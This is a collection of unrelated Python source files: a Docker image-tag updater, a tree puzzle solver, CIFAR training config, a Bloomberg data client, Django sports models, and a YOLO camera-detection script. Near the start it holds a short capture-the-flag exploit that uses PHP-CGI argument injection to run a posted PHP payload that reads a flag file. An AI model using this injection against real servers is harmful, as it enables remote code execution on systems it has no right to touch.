automation/auto_update_image_pr.py | WaqasAhmedLatif/cloud-native-edition | 23 | 17405 | import os
import json
from common import update_json_file, get_logger, exec_cmd
from yamlparser import Parser
from pathlib import Path
logger = get_logger("update-image")
# Functions that work to update gluu_versions.json
def determine_final_official_and_dev_version(tag_list):
"""
Determine official version i.e 4.1.0 , 4.2.2..etc using oxauths repo
@param tag_list:
@return:
"""
# Check for the highest major.minor.patch i.e 4.2.0 vs 4.2.2
dev_image = ""
patch_list = []
for tag in tag_list:
patch_list.append(int(tag[4:5]))
# Remove duplicates
patch_list = list(set(patch_list))
# Sort
patch_list.sort()
highest_major_minor_patch_number = str(patch_list[-1])
versions_list = []
for tag in tag_list:
if "dev" in tag and tag[4:5] == highest_major_minor_patch_number:
dev_image = tag[0:5] + "_dev"
# Exclude any tag with the following
if "dev" not in tag and "a" not in tag and tag[4:5] == highest_major_minor_patch_number:
versions_list.append(int(tag[6:8]))
# A case were only a dev version of a new patch is available then a lower stable patch should be checked.
# i.e there is no 4.3.0_01 but there is 4.2.2_dev
if not versions_list:
highest_major_minor_patch_number = str(int(highest_major_minor_patch_number) - 1)
for tag in tag_list:
if not dev_image and "dev" in tag and tag[4:5] == highest_major_minor_patch_number:
dev_image = tag[0:5] + "_dev"
# Exclude any tag with the following
if "dev" not in tag and "a" not in tag and tag[4:5] == highest_major_minor_patch_number:
versions_list.append(int(tag[6:8]))
# Remove duplicates
versions_list = list(set(versions_list))
# Sort
versions_list.sort()
# Return highest patch
highest_major_minor_patch_image_patch = str(versions_list[-1])
if len(highest_major_minor_patch_image_patch) == 1:
highest_major_minor_patch_image_patch = "0" + highest_major_minor_patch_image_patch
highest_major_minor_patch_image = ""
for tag in tag_list:
if "dev" not in tag and highest_major_minor_patch_image_patch in tag \
and tag[4:5] == highest_major_minor_patch_number:
highest_major_minor_patch_image = tag
return highest_major_minor_patch_image, dev_image
def determine_major_version(all_repos_tags):
"""
Determine official major version i.e 4.1 , 4.2..etc using oxauths repo
@param all_repos_tags:
@return:
"""
versions_list = []
for tag in all_repos_tags["oxauth"]:
# Exclude any tag with the following
if "dev" not in tag \
and "latest" not in tag \
and "secret" not in tag \
and "gluu-engine" not in tag:
versions_list.append(float(tag[0:3]))
# Remove duplicates
versions_list = list(set(versions_list))
# Sort
versions_list.sort()
# Return highest version
return versions_list[-1]
def get_docker_repo_tag(org, repo):
"""
Returns a dictionary of all available tags for a certain repo
:param org:
:param repo:
:return:
"""
logger.info("Getting docker tag for repository {}.".format(repo))
exec_get_repo_tag_curl_command = ["curl", "-s",
"https://hub.docker.com/v2/repositories/{}/{}/tags/?page_size=100".format(org,
repo)]
stdout, stderr, retcode = None, None, None
try:
stdout, stderr, retcode = exec_cmd(" ".join(exec_get_repo_tag_curl_command))
except (IndexError, Exception):
manual_curl_command = " ".join(exec_get_repo_tag_curl_command)
logger.error("Failed to curl\n{}".format(manual_curl_command))
all_tags = json.loads(stdout)["results"]
image_tags = []
for tag in all_tags:
image_tags.append(tag["name"])
image_tags_dict = dict()
image_tags_dict[repo] = image_tags
return image_tags_dict
def filter_all_repo_dictionary_tags(all_repos_tags, major_official_version):
"""
Analyze the dictionary containing all repos and keeps only the list of tags and versions matching the major version
@param all_repos_tags:
@param major_official_version:
"""
filtered_all_repos_tags = dict()
for repo, tag_list in all_repos_tags.items():
temp_filtered_tag_list = []
for tag in tag_list:
if major_official_version == tag[0:3]:
temp_filtered_tag_list.append(tag)
filtered_all_repos_tags[repo] = temp_filtered_tag_list
return filtered_all_repos_tags
def analyze_filtered_dict_return_final_dict(filtered_all_repos_tags, major_official_version):
"""
Analyze filtered dictionary and return the final dict with only one official version and one dev version
@param filtered_all_repos_tags:
@param major_official_version:
"""
final_official_version_dict = dict()
final_dev_version_dict = dict()
# Gluus main values.yaml
gluu_values_file = Path("../pygluu/kubernetes/templates/helm/gluu/values.yaml").resolve()
gluu_values_file_parser = Parser(gluu_values_file, True)
dev_version = ""
def update_dicts_and_yamls(name, rep, tags_list, helm_name=None):
final_tag, final_dev_tag = determine_final_official_and_dev_version(tags_list)
final_official_version_dict[name + "_IMAGE_NAME"] = "gluufederation/" + rep
final_dev_version_dict[name + "_IMAGE_NAME"] = "gluufederation/" + rep
final_official_version_dict[name + "_IMAGE_TAG"], final_dev_version_dict[name + "_IMAGE_TAG"] \
= final_tag, final_dev_tag
if rep != "upgrade":
if helm_name:
gluu_values_file_parser[helm_name]["image"]["repository"] = "gluufederation/" + rep
gluu_values_file_parser[helm_name]["image"]["tag"] = final_tag
else:
gluu_values_file_parser[rep]["image"]["repository"] = "gluufederation/" + rep
gluu_values_file_parser[rep]["image"]["tag"] = final_tag
for repo, tag_list in filtered_all_repos_tags.items():
official_version, dev_version = determine_final_official_and_dev_version(tag_list)
if repo == "casa":
update_dicts_and_yamls("CASA", repo, tag_list)
elif repo == "oxd-server":
update_dicts_and_yamls("OXD", repo, tag_list)
elif repo == "fido2":
update_dicts_and_yamls("FIDO2", repo, tag_list)
elif repo == "scim":
update_dicts_and_yamls("SCIM", repo, tag_list)
elif repo == "config-init":
update_dicts_and_yamls("CONFIG", repo, tag_list, "config")
elif repo == "cr-rotate":
update_dicts_and_yamls("CACHE_REFRESH_ROTATE", repo, tag_list)
elif repo == "certmanager":
update_dicts_and_yamls("CERT_MANAGER", repo, tag_list, "oxauth-key-rotation")
elif repo == "opendj":
update_dicts_and_yamls("LDAP", repo, tag_list, "opendj")
elif repo == "jackrabbit":
update_dicts_and_yamls("JACKRABBIT", repo, tag_list)
elif repo == "oxauth":
update_dicts_and_yamls("OXAUTH", repo, tag_list)
elif repo == "oxpassport":
update_dicts_and_yamls("OXPASSPORT", repo, tag_list)
elif repo == "oxshibboleth":
update_dicts_and_yamls("OXSHIBBOLETH", repo, tag_list)
elif repo == "oxtrust":
update_dicts_and_yamls("OXTRUST", repo, tag_list)
elif repo == "persistence":
update_dicts_and_yamls("PERSISTENCE", repo, tag_list)
elif repo == "upgrade":
update_dicts_and_yamls("UPGRADE", repo, tag_list)
gluu_versions_dict = {major_official_version: final_official_version_dict,
dev_version: final_dev_version_dict}
gluu_values_file_parser.dump_it()
return gluu_versions_dict
def main():
all_repos_tags = dict()
org = os.environ.get("ORG_NAME", "gluufederation")
gluu_docker_repositories_names_used_in_cn = ["casa", "fido2", "scim", "config-init",
"cr-rotate", "certmanager", "opendj", "jackrabbit", "oxauth",
"oxd-server", "oxpassport", "oxshibboleth",
"oxtrust", "persistence", "upgrade"]
for repo in gluu_docker_repositories_names_used_in_cn:
all_repos_tags.update(get_docker_repo_tag(org, repo))
major_official_version = str(determine_major_version(all_repos_tags))
filtered_all_repos_tags = filter_all_repo_dictionary_tags(all_repos_tags, major_official_version)
final_gluu_versions_dict = analyze_filtered_dict_return_final_dict(filtered_all_repos_tags, major_official_version)
update_json_file(final_gluu_versions_dict, '../pygluu/kubernetes/templates/gluu_versions.json')
if __name__ == '__main__':
main()
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1678,
1667,
580,
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2
] |
no12/no12.py | shopetan/ksnctf | 0 | 62446 | <reponame>shopetan/ksnctf<gh_stars>0
import requests
postdata = """<?php system('cat flag_flag_flag.txt'); die();?>"""
url = """http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input"""
#url = """http://ctfq.sweetduet.info:10080/~q12/?-s"""
hax = requests.post(url,postdata)
print hax.text
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] |
src/data/1135.py | NULLCT/LOMC | 0 | 31693 | from sys import setrecursionlimit
setrecursionlimit(10**7)
N, Q = [int(x) for x in input().split()]
to = [[] for _ in range(N)]
for _ in range(N - 1):
a, b = [int(x) - 1 for x in input().split()]
to[a].append(b)
to[b].append(a)
depth = [-1] * N
def dfs(v, p, d):
depth[v] = d
for u in to[v]:
if u == p: continue
dfs(u, v, d + 1)
dfs(0, -1, 0)
for _ in range(Q):
c, d = [int(x) - 1 for x in input().split()]
ans = (depth[c] - depth[d]) % 2
print('Road' if ans else 'Town')
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2
] |
adventofcode/2020/25/crack_key/__init__.py | bneradt/toy | 0 | 24289 | <filename>adventofcode/2020/25/crack_key/__init__.py<gh_stars>0
from .crack_key import derive_loop_size, derive_encryption_key
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config.py | AlbertMillan/adversarial-training-pytorch | 14 | 54773 | <gh_stars>10-100
import numpy as np
import math
import torch
from torchvision import transforms
mean=np.array([0.4914, 0.4822, 0.4465])
std=np.array([0.2023, 0.1994, 0.2010])
max_val = np.array([ (1. - mean[0]) / std[0],
(1. - mean[1]) / std[1],
(1. - mean[2]) / std[2],
])
min_val = np.array([ (0. - mean[0]) / std[0],
(0. - mean[1]) / std[1],
(0. - mean[2]) / std[2],
])
eps_size=np.array([ abs( (1. - mean[0]) / std[0] ) + abs( (0. - mean[0]) / std[0] ),
abs( (1. - mean[1]) / std[1] ) + abs( (0. - mean[1]) / std[1] ),
abs( (1. - mean[2]) / std[2] ) + abs( (0. - mean[2]) / std[2] ),
])
def train_scale():
return transforms.Compose([
transforms.RandomCrop(32, padding=4),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
])
def train_zero_norm():
return transforms.Compose([
transforms.RandomCrop(32, padding=4),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
transforms.Normalize(mean, std)
])
def test_scale():
return transforms.Compose([
transforms.ToTensor(),
])
def test_zero_norm():
return transforms.Compose([
transforms.ToTensor(),
transforms.Normalize(mean, std)
])
def unnormalize():
return transforms.Normalize( (- mean / std).tolist(), (1.0 / std ).tolist() )
def inverse_normalize():
u = [-0.4914/0.2023, -0.4822/0.1994, -0.4465/0.2010]
sigma = [1./0.2023, 1./0.1994, 1./0.2010]
return transforms.Normalize( u, sigma )
def compute_lr(lr, itr):
if itr < 75:
return lr
else:
return 0.01
return lr * math.pow(0.2, optim_factor)
# def compute_lr(lr, itr):
# optim_factor = 0
# if itr > 80:
# optim_factor = 3
# elif itr > 60:
# optim_factor = 2
# elif itr > 30:
# optim_factor = 1
# return lr * math.pow(0.2, optim_factor)
def accuracy(output, y, k=1):
"""Computes the precision@k for the specified values of k"""
# Rehape to [N, 1]
target = y.view(-1, 1)
_, pred = torch.topk(output, k, dim=1, largest=True, sorted=True)
correct = torch.eq(pred, target)
return torch.sum(correct).float() / y.size(0)
class AverageMeter():
def __init__(self):
self.reset()
def reset(self):
self.val = 0
self.avg = 0
self.sum = 0
self.count = 0
def update(self, val, n=1):
self.val = val
self.sum += val * n
self.count += n
self.avg = self.sum / self.count
# mean = {
# 'cifar10': (0.4914, 0.4822, 0.4465),
# 'cifar100': (0.5071, 0.4867, 0.4408),
# }
# std = {
# 'cifar10': (0.2023, 0.1994, 0.2010),
# 'cifar100': (0.2675, 0.2565, 0.2761),
# } | [
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] |
qf_lib/data_providers/bloomberg/tabular_data_provider.py | webclinic017/qf-lib | 198 | 160132 | <gh_stars>100-1000
# Copyright 2016-present CERN – European Organization for Nuclear Research
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from typing import List
from qf_lib.data_providers.bloomberg.bloomberg_names import FIELD_DATA, REF_DATA_SERVICE_URI
from qf_lib.data_providers.bloomberg.helpers import get_response_events, check_event_for_errors, extract_security_data, \
check_security_data_for_errors, set_tickers, set_fields
class TabularDataProvider(object):
"""
Used for providing current tabular data from Bloomberg.
Handles requests containing only one ticker and one field.
Was tested on 'INDX_MEMBERS' and 'MERGERS_AND_ACQUISITIONS' requests. There is no guarantee that
all other request will be handled, as returned data structures might vary.
"""
def __init__(self, session):
self._session = session
def get(self, tickers, fields, override_names, override_values) -> List:
ref_data_service = self._session.getService(REF_DATA_SERVICE_URI)
request = ref_data_service.createRequest("ReferenceDataRequest")
set_tickers(request, tickers)
set_fields(request, fields)
if override_names is not None:
overrides = request.getElement("overrides")
for override_name, override_value in zip(override_names, override_values):
override = overrides.appendElement()
override.setElement("fieldId", override_name)
override.setElement("value", override_value)
self._session.sendRequest(request)
return self._receive_reference_response(fields)
def _receive_reference_response(self, fields):
response_events = get_response_events(self._session)
elements = []
for ev in response_events:
check_event_for_errors(ev)
security_data_array = extract_security_data(ev)
check_security_data_for_errors(security_data_array)
for i in range(security_data_array.numValues()):
security_data = security_data_array.getValueAsElement(i)
check_security_data_for_errors(security_data)
field_data_array = security_data.getElement(FIELD_DATA)
for field_name in fields:
array = field_data_array.getElement(field_name)
for element in array.values():
keys_values_dict = {}
for elem in element.elements():
key = elem.name().__str__()
value = element.getElementAsString(key)
keys_values_dict[key] = value
elements.append(keys_values_dict)
return elements
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mysite/bms/models.py | rajhiren/django-bms | 0 | 186037 | from django.contrib.auth import get_user_model
from django.db import models
from django.urls import reverse
from django.utils import timezone
class Role(models.Model):
COACH = 'C'
PLAYER = 'P'
ADMIN = 'A'
ROLE_TYPES = [
(COACH, 'Coach'),
(PLAYER, 'Player'),
(ADMIN, 'Admin'),
]
type = models.CharField(
max_length=2,
choices=ROLE_TYPES,
default=PLAYER,
verbose_name='type of role'
)
def __str__(self):
return str(self.type)
# return 'Type : %s, Id : %s' % (self.type, self.id)
def get_id(self):
return str(self.id)
def get_absolute_url(self):
return reverse('role_detail', args=[str(self.id)])
class User_Role(models.Model):
user = models.ForeignKey(get_user_model(), on_delete=models.CASCADE)
role = models.ForeignKey(Role, on_delete=models.CASCADE)
is_logged_in = models.BooleanField(default=False)
def __str__(self):
return str(self.id)
# return 'User : %s, Role : %s' % (self.user.username, self.role.type)
def get_absolute_url(self):
return reverse('user_role', args=[str(self.id)])
class User_Stat(models.Model):
user = models.ForeignKey(get_user_model(), on_delete=models.CASCADE)
login_time = models.DateTimeField(verbose_name='login date time', default=timezone.now)
logout_time = models.DateTimeField(verbose_name='logout date time')
def __str__(self):
return str(self.login_time)
def get_absolute_url(self):
return reverse('user_stat_detail', args=[str(self.id)])
class Team(models.Model):
name = models.TextField(max_length=100)
abbr = models.TextField(max_length=3)
def __str__(self):
return str(self.name)
def get_absolute_url(self):
return reverse('team', args=[str(self.id)])
class Game(models.Model):
QF = 'QF'
SF = 'SF'
FI = 'FI'
WI = 'WI'
ROUNDS = [
(QF, 'Quarter Final'),
(SF, 'Semi Final'),
(FI, 'Final'),
(WI, 'Winner')
]
host = models.ForeignKey(Team, on_delete=models.CASCADE, related_name='host')
guest = models.ForeignKey(Team, on_delete=models.CASCADE, related_name='guest')
host_score = models.IntegerField()
guest_score = models.IntegerField()
winner = models.ForeignKey(Team, on_delete=models.CASCADE, related_name='winner')
date = models.DateField(verbose_name='game date')
round_number = models.CharField(
max_length=2,
choices=ROUNDS,
default=QF,
verbose_name='round type'
)
def __str__(self):
return 'Game # %s' % (self.id)
def get_absolute_url(self):
return reverse('game', args=[str(self.id)])
class Team_Stat(models.Model):
team = models.ForeignKey(Team, on_delete=models.CASCADE, related_name='team')
game = models.ForeignKey(Game, on_delete=models.CASCADE, related_name='game')
score = models.IntegerField()
def __str__(self):
return str(self.score)
def get_absolute_url(self):
return reverse('team_stat', args=[str(self.id)])
class Coach(models.Model):
user = models.ForeignKey(get_user_model(), on_delete=models.CASCADE)
team = models.ForeignKey(Team, on_delete=models.CASCADE)
def __str__(self):
return 'Name : %s %s' % (self.user.first_name, self.user.last_name)
def get_absolute_url(self):
return reverse('coach', args=[str(self.id)])
class Player(models.Model):
user = models.ForeignKey(get_user_model(), on_delete=models.CASCADE)
team = models.ForeignKey(Team, on_delete=models.CASCADE)
height = models.IntegerField()
def __str__(self):
return 'Name : %s , Height : %s' % (self.user.first_name, self.height)
def get_absolute_url(self):
return reverse('player', args=[str(self.id)])
class Player_Stat(models.Model):
player = models.ForeignKey(Player, on_delete=models.CASCADE)
game = models.ForeignKey(Game, on_delete=models.CASCADE)
score = models.IntegerField()
def __str__(self):
return str(self.score)
def get_absolute_url(self):
return reverse('player_stat', args=[str(self.id)])
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] |
darknet/detect.py | Kwull/yolo-detector | 0 | 177146 | from ctypes import *
import random
import os
import requests
import time
import urllib
import cv2
from skimage import draw
import numpy as np
import json
import datetime
import paho.mqtt.client as paho
import yaml
import pytz
import re
import subprocess
import select
with open("/config/detect.conf", 'r') as ymlfile:
cfg = yaml.load(ymlfile)
netMain = None
metaMain = None
altNames = None
lib = CDLL("./darknet.so", RTLD_GLOBAL)
class BOX(Structure):
_fields_ = [("x", c_float),
("y", c_float),
("w", c_float),
("h", c_float)]
class DETECTION(Structure):
_fields_ = [("bbox", BOX),
("classes", c_int),
("prob", POINTER(c_float)),
("mask", POINTER(c_float)),
("objectness", c_float),
("sort_class", c_int)]
class IMAGE(Structure):
_fields_ = [("w", c_int),
("h", c_int),
("c", c_int),
("data", POINTER(c_float))]
class METADATA(Structure):
_fields_ = [("classes", c_int),
("names", POINTER(c_char_p))]
lib.network_width.argtypes = [c_void_p]
lib.network_width.restype = c_int
lib.network_height.argtypes = [c_void_p]
lib.network_height.restype = c_int
predict = lib.network_predict
predict.argtypes = [c_void_p, POINTER(c_float)]
predict.restype = POINTER(c_float)
set_gpu = lib.cuda_set_device
set_gpu.argtypes = [c_int]
make_image = lib.make_image
make_image.argtypes = [c_int, c_int, c_int]
make_image.restype = IMAGE
get_network_boxes = lib.get_network_boxes
get_network_boxes.argtypes = [c_void_p, c_int, c_int, c_float, c_float, POINTER(c_int), c_int, POINTER(c_int), c_int]
get_network_boxes.restype = POINTER(DETECTION)
make_network_boxes = lib.make_network_boxes
make_network_boxes.argtypes = [c_void_p]
make_network_boxes.restype = POINTER(DETECTION)
free_detections = lib.free_detections
free_detections.argtypes = [POINTER(DETECTION), c_int]
free_ptrs = lib.free_ptrs
free_ptrs.argtypes = [POINTER(c_void_p), c_int]
network_predict = lib.network_predict
network_predict.argtypes = [c_void_p, POINTER(c_float)]
reset_rnn = lib.reset_rnn
reset_rnn.argtypes = [c_void_p]
load_net = lib.load_network
load_net.argtypes = [c_char_p, c_char_p, c_int]
load_net.restype = c_void_p
load_net_custom = lib.load_network_custom
load_net_custom.argtypes = [c_char_p, c_char_p, c_int, c_int]
load_net_custom.restype = c_void_p
do_nms_obj = lib.do_nms_obj
do_nms_obj.argtypes = [POINTER(DETECTION), c_int, c_int, c_float]
do_nms_sort = lib.do_nms_sort
do_nms_sort.argtypes = [POINTER(DETECTION), c_int, c_int, c_float]
free_image = lib.free_image
free_image.argtypes = [IMAGE]
letterbox_image = lib.letterbox_image
letterbox_image.argtypes = [IMAGE, c_int, c_int]
letterbox_image.restype = IMAGE
load_meta = lib.get_metadata
lib.get_metadata.argtypes = [c_char_p]
lib.get_metadata.restype = METADATA
load_image = lib.load_image_color
load_image.argtypes = [c_char_p, c_int, c_int]
load_image.restype = IMAGE
rgbgr_image = lib.rgbgr_image
rgbgr_image.argtypes = [IMAGE]
predict_image = lib.network_predict_image
predict_image.argtypes = [c_void_p, IMAGE]
predict_image.restype = POINTER(c_float)
def sample(probs):
s = sum(probs)
probs = [a / s for a in probs]
r = random.uniform(0, 1)
for i in range(len(probs)):
r = r - probs[i]
if r <= 0:
return i
return len(probs) - 1
def c_array(ctype, values):
arr = (ctype * len(values))()
arr[:] = values
return arr
def array_to_image(arr):
# need to return old values to avoid python freeing memory
arr = arr.transpose(2, 0, 1)
c = arr.shape[0]
h = arr.shape[1]
w = arr.shape[2]
arr = np.ascontiguousarray(arr.flat, dtype=np.float32) / 255.0
data = arr.ctypes.data_as(POINTER(c_float))
im = IMAGE(w, h, c, data)
return im, arr
def classify(net, meta, im):
out = predict_image(net, im)
res = []
for i in range(meta.classes):
if altNames is None:
name_tag = meta.names[i]
else:
name_tag = altNames[i]
res.append((name_tag, out[i]))
res = sorted(res, key=lambda x: -x[1])
return res
def detect(net, meta, image, thresh=.5, hier_thresh=.5, nms=.45):
custom_image_bgr = image
custom_image = cv2.cvtColor(custom_image_bgr, cv2.COLOR_BGR2RGB)
custom_image = cv2.resize(custom_image, (lib.network_width(net), lib.network_height(net)),
interpolation=cv2.INTER_LINEAR)
im, arr = array_to_image(custom_image) # you should comment line below: free_image(im)
num = c_int(0)
pnum = pointer(num)
predict_image(net, im)
dets = get_network_boxes(net, custom_image_bgr.shape[1], custom_image_bgr.shape[0], thresh, hier_thresh, None, 0,
pnum, 0) # OpenCV
# dets = get_network_boxes(net, im.w, im.h, thresh, hier_thresh, None, 0, pnum, 0)
num = pnum[0]
if nms:
do_nms_sort(dets, num, meta.classes, nms)
res = []
for j in range(num):
for i in range(meta.classes):
if dets[j].prob[i] > 0:
b = dets[j].bbox
if altNames is None:
name_tag = meta.names[i]
else:
name_tag = altNames[i]
res.append((name_tag, dets[j].prob[i], (b.x, b.y, b.w, b.h)))
res = sorted(res, key=lambda x: -x[1])
# free_image(im)
free_detections(dets, num)
return res
def init_yolo(config_path ="./cfg/yolov3.cfg", weight_path ="yolov3.weights", meta_path="./cfg/coco.data"):
global metaMain, netMain, altNames
if not os.path.exists(config_path):
raise ValueError("Invalid config path `" + os.path.abspath(config_path) + "`")
if not os.path.exists(weight_path):
raise ValueError("Invalid weight path `" + os.path.abspath(weight_path) + "`")
if not os.path.exists(meta_path):
raise ValueError("Invalid data file path `" + os.path.abspath(meta_path) + "`")
if netMain is None:
netMain = load_net_custom(config_path.encode("ascii"), weight_path.encode("ascii"), 0, 1) # batch size = 1
if metaMain is None:
metaMain = load_meta(meta_path.encode("ascii"))
if altNames is None:
# In Python 3, the metafile default access craps out on Windows (but not Linux)
# Read the names file and create a list to feed to detect
try:
with open(meta_path) as metaFH:
meta_contents = metaFH.read()
import re
match = re.search("names *= *(.*)$", meta_contents, re.IGNORECASE | re.MULTILINE)
if match:
result = match.group(1)
else:
result = None
try:
if os.path.exists(result):
with open(result) as namesFH:
names_list = namesFH.read().strip().split("\n")
altNames = [x.strip() for x in names_list]
except TypeError:
pass
except Exception:
pass
def perform_detect(video_path="test.mp4", tagged_video="test.avi", thresh=0.25, store_tagged_video=False,
store_key_detection_images=False):
assert 0 < thresh < 1, "Threshold should be a float between zero and one (non-inclusive)"
if not os.path.exists(video_path):
raise ValueError("Invalid image path `" + os.path.abspath(video_path) + "`")
video = cv2.VideoCapture(video_path)
_, frame = video.read()
height, width, _ = frame.shape
fps = round(video.get(cv2.CAP_PROP_FPS))
if store_tagged_video:
if os.name == "nt":
fourcc = cv2.VideoWriter_fourcc(*'XVID')
else:
fourcc = cv2.VideoWriter_fourcc(*'H264')
# fourcc = cv2.VideoWriter_fourcc(*'DIVX')
# fourcc = cv2.VideoWriter_fourcc(*'MP4V')
# fourcc = cv2.VideoWriter_fourcc(*'MP42')
video_writer = cv2.VideoWriter(tagged_video, fourcc, fps, (width, height))
tags = {} # resulted tags - maybe depricated soon
objects = [] # resulted objects - tag + coordinates + image only for highest percentage
current_fps = 0
current_frame = 0
detections = ()
while video.isOpened():
current_frame = current_frame + 1
current_fps = current_fps + 1
if current_frame > cfg['yolo']['tagEveryFrame']:
should_detect = True
current_frame = 0
else:
should_detect = False
_, frame = video.read()
if frame is None:
break
if should_detect:
detections = detect(netMain, metaMain, frame, thresh)
for detection in detections:
label = detection[0]
confidence = np.rint(100 * detection[1])
if (label not in tags) or (tags[label] < confidence):
tags[label] = confidence
try:
image = frame
if should_detect:
image_caption = []
for detection in detections:
label = detection[0]
confidence = np.rint(100 * detection[1])
pstring = label + ": " + str(confidence) + "%"
image_caption.append(pstring)
bounds = detection[2]
shape = image.shape
y_extent = int(bounds[3])
x_entent = int(bounds[2])
# Coordinates are around the center
x_coord = int(bounds[0] - bounds[2] / 2)
y_coord = int(bounds[1] - bounds[3] / 2)
bounding_box = [
[x_coord, y_coord],
[x_coord, y_coord + y_extent],
[x_coord + x_entent, y_coord + y_extent],
[x_coord + x_entent, y_coord]
]
image_url = tagged_video.replace(".avi", "-" + label + ".jpg")
tracked = {
"confidence": confidence,
"frame": current_fps,
"x": x_coord,
"y": y_coord,
"x2": x_coord + x_entent,
"y2": y_coord + y_extent
}
obj_is_found = False
is_best_confidence = False
for obj in objects:
if obj["name"] == label:
obj_is_found = True
obj["tracked"].append(tracked)
if obj["confidence"] < confidence:
is_best_confidence = True
obj["confidence"] = confidence
if not obj_is_found:
is_best_confidence = True
objects.append({
"name": label,
"confidence": confidence,
"tracked": [tracked],
"image": image_url,
"fps": fps
})
if store_tagged_video or store_key_detection_images:
# Wiggle it around to make a 3px border
rr, cc = draw.polygon_perimeter([x[1] for x in bounding_box], [x[0] for x in bounding_box]
, shape=shape)
rr2, cc2 = draw.polygon_perimeter([x[1] + 1 for x in bounding_box], [x[0] for x in bounding_box]
, shape=shape)
rr3, cc3 = draw.polygon_perimeter([x[1] - 1 for x in bounding_box], [x[0] for x in bounding_box]
, shape=shape)
rr4, cc4 = draw.polygon_perimeter([x[1] for x in bounding_box], [x[0] + 1 for x in bounding_box]
, shape=shape)
rr5, cc5 = draw.polygon_perimeter([x[1] for x in bounding_box], [x[0] - 1 for x in bounding_box]
, shape=shape)
box_color = (int(255 * (1 - (confidence ** 2))), int(255 * (confidence ** 2)), 0)
draw.set_color(image, (rr, cc), box_color, alpha=0.8)
draw.set_color(image, (rr2, cc2), box_color, alpha=0.8)
draw.set_color(image, (rr3, cc3), box_color, alpha=0.8)
draw.set_color(image, (rr4, cc4), box_color, alpha=0.8)
draw.set_color(image, (rr5, cc5), box_color, alpha=0.8)
cv2.putText(image, pstring, (x_coord, y_coord - 5), cv2.FONT_HERSHEY_SIMPLEX, 0.7, box_color, 2,
cv2.LINE_AA)
if store_key_detection_images and is_best_confidence:
cv2.imwrite(image_url, image)
if store_tagged_video:
video_writer.write(image)
except Exception as e:
print("Video processing error: " + str(e))
if store_tagged_video:
video_writer.release()
video.release()
return tags, objects
# Real work started here
print 'Initializing yolo...'
init_yolo(cfg['yolo']['configPath'], cfg['yolo']['weightPath'], cfg['yolo']['metaPath'])
print 'Connecting to mqtt broker...'
mqtt_client = paho.Client('yolo')
mqtt_client.username_pw_set(cfg['mqtt']['user'], cfg['mqtt']['password'])
mqtt_client.connect(cfg['mqtt']['broker'], cfg['mqtt']['port'])
mqtt_client.loop_start()
print 'Initialized and waiting for motion...'
in_progress_recordings = []
timeZone = 'Europe/Minsk' # TODO: get from unifi server
pst = pytz.timezone(timeZone)
motion_recorded = re.compile(r"STOPPING REC motionRecording:(\S+)")
f = subprocess.Popen(['tail', '-F', cfg['unifi']['recordingLog']], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p = select.poll()
p.register(f.stdout)
while True:
if p.poll(1):
line = f.stdout.readline().strip()
match = motion_recorded.search(line)
if match is not None:
rec_id = match.group(1)
# print ('{} new motion recording detected: {}'.format(rec_id, line))
resp = requests.get('{}/api/2.0/recording/{}?apiKey={}'.format(cfg['unifi']['host'], rec_id,
cfg['unifi']['apiKey']))
recording = resp.json()['data'][0]
recording_time = pytz.utc.localize(datetime.datetime.fromtimestamp(recording['startTime'] / 1000))\
.astimezone(pst).strftime('%Y-%m-%d %H:%M:%S')
recording_stop_time = pytz.utc.localize(datetime.datetime.fromtimestamp(recording['endTime'] / 1000))\
.astimezone(pst).strftime('%Y-%m-%d %H:%M:%S')
print('{}: {} {}'.format(recording_time, recording['meta']['cameraName'], recording['_id']))
recording_url = '{}/api/2.0/recording/{}/download?apiKey={}'.format(cfg['unifi']['host'],
recording['_id'], cfg['unifi']['apiKey'])
video_file = urllib.urlretrieve(recording_url, '{}/{}-{}.mp4'.format(cfg['yolo']['motionFolder'],
recording['_id'],
recording['meta']['cameraName']))
if os.stat(video_file[0]).st_size < 1000:
print ('Something is wrong with {}'.format(recording['_id']))
continue
filename, file_extension = os.path.splitext(os.path.basename(video_file[0]))
date_part = pytz.utc.localize(datetime.datetime.fromtimestamp(recording['startTime'] / 1000))\
.astimezone(pst).strftime('%Y/%m/%d')
path = cfg['yolo']['processedFolder'] + '/' + date_part
tagged_video = path + '/' + filename + '.avi'
if (cfg['yolo']['storeTaggedVideo'] or cfg['yolo']['storeKeyDetectionImages']) and not os.path.exists(path):
os.makedirs(path)
tags, objects = perform_detect(video_file[0], tagged_video, cfg['yolo']['threshold'],
cfg['yolo']['storeTaggedVideo'], cfg['yolo']['storeKeyDetectionImages'])
detections = {
'startTime': recording_time,
'endTime': recording_stop_time,
'camera': recording['meta']['cameraName'],
'recordingId': recording['_id'],
'recordingUrl': recording_url,
'tags': tags,
'objects': objects
}
if cfg['yolo']['storeTaggedVideo']:
detections['taggedVideo'] = tagged_video
if os.path.exists(video_file[0]):
os.remove(video_file[0])
json_data = json.dumps(detections, indent=4, sort_keys=True)
if len(detections['tags']) != 0:
mqtt_topic = cfg['mqtt']['rootTopic'] + '/' + recording['meta']['cameraName'].lower()
mqtt_client.publish(mqtt_topic, json_data)
print detections['recordingId'] + ' is published to mqtt ' + mqtt_topic
else:
print detections['recordingId'] + ' nothing detected'
else:
time.sleep(1)
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1445,
8443,
13,
30004,
13,
1212,
6330,
353,
6213,
30004,
13,
7299,
6330,
353,
6213,
30004,
13,
1997,
8659,
353,
6213,
30004,
13,
30004,
13,
1982,
353,
7307,
2208,
703,
6904,
26031,
1212,
29889,
578,
613,
390,
29911,
10249,
29918,
29954,
28902,
1964,
8443,
13,
30004,
13,
1990,
16437,
29990,
29898,
5015,
12425,
1125,
30004,
13,
1678,
903,
9621,
29918,
353,
518,
703,
29916,
613,
274,
29918,
7411,
511,
30004,
13,
18884,
4852,
29891,
613,
274,
29918,
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511,
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13,
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613,
274,
29918,
7411,
511,
30004,
13,
18884,
4852,
29882,
613,
274,
29918,
7411,
4638,
30004,
13,
30004,
13,
30004,
13,
1990,
360,
2544,
29923,
9838,
29898,
5015,
12425,
